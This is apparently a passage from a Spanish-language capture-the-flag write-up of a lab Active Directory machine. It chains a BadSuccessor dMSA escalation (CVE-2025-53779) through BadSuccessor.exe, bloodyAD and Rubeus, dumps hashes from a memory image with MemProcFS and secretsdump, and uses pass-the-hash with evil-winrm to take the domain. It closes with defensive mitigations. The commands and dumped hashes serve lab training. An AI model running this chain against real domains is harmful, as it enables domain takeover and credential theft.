C:\Windows\Temp\BadSuccessor.exe escalate -targetOU "OU=DMSAHolder,DC=checkpoint,DC=htb" -dmsa evilDmsa2 -targetUser "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" -dnshostname evilDmsa2 -user ryan.brooks -dc-ip 10.129.22.242

[*] Creating dMSA object...
[*] Inheriting target user privileges
    -> msDS-ManagedAccountPrecededByLink = CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
    -> msDS-DelegatedMSAState = 2
[+] Privileges Obtained.
[*] Setting PrincipalsAllowedToRetrieveManagedPassword
    -> msDS-GroupMSAMembership = ryan.brooks
[+] Setting userAccountControl attribute
[+] Setting msDS-SupportedEncryptionTypes attribute

Paso 2, completar el emparejamiento mutuo escribiendo en svc_deploy (lado “víctima”) vía bloodyAD:

bloodyAD -H dc01.checkpoint.htb -i 10.129.22.242 -d checkpoint.htb -k set object "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" msDS-SupersededManagedAccountLink -v "CN=evilDmsa2,OU=DMSAHolder,DC=checkpoint,DC=htb"

bloodyAD -H dc01.checkpoint.htb -i 10.129.22.242 -d checkpoint.htb -k set object "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" msDS-SupersededServiceAccountState -v 1

# verificación
bloodyAD -H dc01.checkpoint.htb -i 10.129.22.242 -d checkpoint.htb -k get object "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" --attr msDS-SupersededManagedAccountLink,msDS-SupersededServiceAccountState

Paso 3, repetir tgtdeleg (el TGT anterior puede haber expirado) y pedir el TGS del dMSA con /dmsa:

C:\Windows\Temp\Rubeus.exe tgtdeleg /nowrap

C:\Windows\Temp\Rubeus.exe asktgs /targetuser:evilDmsa2$ /service:krbtgt/checkpoint.htb /dmsa /opsec /nowrap /ticket:<TGT_base64>

[*] Action: Ask TGS
[*] Building DMSA TGS-REQ request for 'evilDmsa2$' from 'ryan.brooks'
[+] Sequence number is: 1854162121
[*] Using domain controller: DC01.checkpoint.htb
[+] TGS request successful!

  ServiceName              :  krbtgt/CHECKPOINT.HTB
  UserName                 :  evilDmsa2$ (NT_PRINCIPAL)
  Flags                    :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  KeyType                  :  aes256_cts_hmac_sha1

Con el enlace bidireccional completo (msDS-ManagedAccountPrecededByLink en el dMSA + msDS-SupersededManagedAccountLink/msDS-SupersededServiceAccountState en svc_deploy), el KDC ya no devuelve KRB_ERR_GENERIC, confirma que ese era exactamente el control añadido por el parche de CVE-2025-53779. El TGT resultante es para evilDmsa2$, que hereda los privilegios de svc_deploy por la relación de “sucesión”.

Paso 4, convertir el ticket a .ccache y operar como svc_deploy desde Kali:

base64 -d evilDmsa2.b64 > evilDmsa2.kirbi
impacket-ticketConverter evilDmsa2.kirbi evilDmsa2.ccache
export KRB5CCNAME=evilDmsa2.ccache

Con esto, evilDmsa2$ actúa efectivamente como svc_deploy frente a recursos de dominio (SMB, etc.), siguiente paso: enumerar accesos (p.ej. \\dc01\VMBackups) para llegar a Administrator/root.txt.

Acceso a \\dc01\VMBackups y forense de memoria con MemProcFS

Con el .ccache de evilDmsa2$ (privilegios de svc_deploy), netexec revela acceso de lectura a un share nuevo:

netexec smb dc01.checkpoint.htb -u 'evilDmsa2$' -k --use-kcache --shares

SMB    dc01.checkpoint.htb 445  DC01  [+] checkpoint.htb\evilDmsa2$ 
SMB    dc01.checkpoint.htb 445  DC01  [*] Enumerated shares
SMB    dc01.checkpoint.htb 445  DC01  Share           Permissions     Remark
SMB    dc01.checkpoint.htb 445  DC01  -----           -----------     ------
SMB    dc01.checkpoint.htb 445  DC01  VMBackups       READ
...

Spideando el share aparece una carpeta que es prácticamente una pista explícita del box:

netexec smb dc01.checkpoint.htb -u 'evilDmsa2$' -k --use-kcache --share VMBackups --spider VMBackups

\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem
\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmsn
...

memory forensics + .vmem (volcado de RAM crudo de VMware) = forense de memoria con MemProcFS. Descarga del fichero (~2 GB) con netexec --get-file (más robusto que impacket-smbclient con rutas que contienen espacios):

netexec smb dc01.checkpoint.htb -u 'evilDmsa2$' -k --use-kcache --share VMBackups --get-file 'NightlyBackup_2024-11-01/memory forensics/Windows Server 2019-Snapshot1.vmem' /home/jolmedo/checkpoint/snapshot.vmem

Nota: el TGS de evilDmsa2$ tiene un tiempo de vida corto. Si la descarga falla con KRB_AP_ERR_TKT_EXPIRED, hay que regenerar el ticket repitiendo tgtdeleg + asktgs /dmsa (Paso 3 de la sección anterior) y reconvertir a .ccache, los atributos Superseded* ya escritos en AD son persistentes, no hace falta repetirlos.

Montar el .vmem con MemProcFS (build Linux x64 desde GitHub releases ):

mkdir -p /mnt/memprocfs
sudo ./memprocfs -device /home/jolmedo/checkpoint/snapshot.vmem -mount /mnt/memprocfs -forensic 1

El modo -forensic 1 parsea automáticamente los hives de registro de la VM y los expone como ficheros .reghive (formato de hive válido) en registry/hive_files/:

sudo ls /mnt/memprocfs/registry/hive_files/

0xffffc30a2fe38000-SYSTEM-MACHINE_SYSTEM.reghive
0xffffc30a32789000-SECURITY-MACHINE_SECURITY.reghive
0xffffc30a3278e000-SAM-MACHINE_SAM.reghive
...

Extraer SAM/SYSTEM/SECURITY y volcar hashes offline con secretsdump:

cd ~/checkpoint
sudo cp /mnt/memprocfs/registry/hive_files/0xffffc30a2fe38000-SYSTEM-MACHINE_SYSTEM.reghive SYSTEM
sudo cp /mnt/memprocfs/registry/hive_files/0xffffc30a32789000-SECURITY-MACHINE_SECURITY.reghive SECURITY
sudo cp /mnt/memprocfs/registry/hive_files/0xffffc30a3278e000-SAM-MACHINE_SAM.reghive SAM
sudo chown $USER:$USER SAM SYSTEM SECURITY

impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

[*] Target system bootKey: 0x75247bc64fa0086d2c98744d4bcd53f5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f29e9c014295b9b32139b09a2790be3b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:28f8d934dee90b2ec824351cb0844479:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x914b2bd39adf134401ec6eceb08f8ec131d2ecbd
dpapi_userkey:0x77d90ebac2487f870a26e4776c72b4509b06dd1b
[*] NL$KM 
NL$KM:0e421c8e384f72e38169dd54e29255fa6c319978314c9e6a7fb9f92606ac7bffeb8a9509446e3a5262b1c2f766b0c353673029e7a3f3776a886970a69ab46f40
[*] Cleaning up...

El hash NT del Administrator local de esa VM de respaldo (f29e9c014295b9b32139b09a2790be3b) resulta ser, una vez más por reutilización de credenciales, el mismo que el del Administrator del dominio:

netexec smb dc01.checkpoint.htb -u Administrator -H f29e9c014295b9b32139b09a2790be3b

SMB    dc01.checkpoint.htb 445  DC01  [+] checkpoint.htb\Administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)

Shell directa con evil-winrm:

evil-winrm -i dc01.checkpoint.htb -u Administrator -H f29e9c014295b9b32139b09a2790be3b

C:\Users\Administrator\Desktop solo contiene desktop.ini (sin root.txt). La flag está en el escritorio de otro usuario:

Get-ChildItem -Path C:\ -Filter root.txt -Recurse -ErrorAction SilentlyContinue | Select-Object FullName

FullName
--------
C:\Users\max.palmer\Desktop\root.txt

🏴 Root Flag

type C:\Users\max.palmer\Desktop\root.txt

🛡️ Mitigaciones / Blue Team

• Reanimación de tombstones: auditar y restringir el derecho extendido Reanimate-Tombstones, debería limitarse a Tier 0, no a OUs operativas como Employees.
• BadSuccessor / dMSA (CVE-2025-53779): parchear los DC de Windows Server 2025 (Patch Tuesday agosto 2025), revisar permisos CreateChild sobre OUs/contenedores que permitan crear dMSAs, y restringir a Tier 0 el control sobre los atributos Superseded*/PrecededBy* y la migración de cuentas. Añadir auditoría SACL sobre la creación de dMSAs y los cambios de atributos de enlace en ambos extremos de la relación.
• Reutilización de contraseñas: aplicar políticas de contraseña que impidan compartir credenciales entre cuentas (alex.turner / mark.davies), y monitorizar autenticaciones con la misma contraseña en cuentas distintas.
• \\dc01\VMBackups: endurecer las ACLs del recurso compartido y tratar los volcados de memoria/VM como activos Tier 0, un .vmem expone hashes NT reutilizables vía pass-the-hash.

📝 Resumen de la Cadena

Un saludo, nos vemos en el próximo challenge.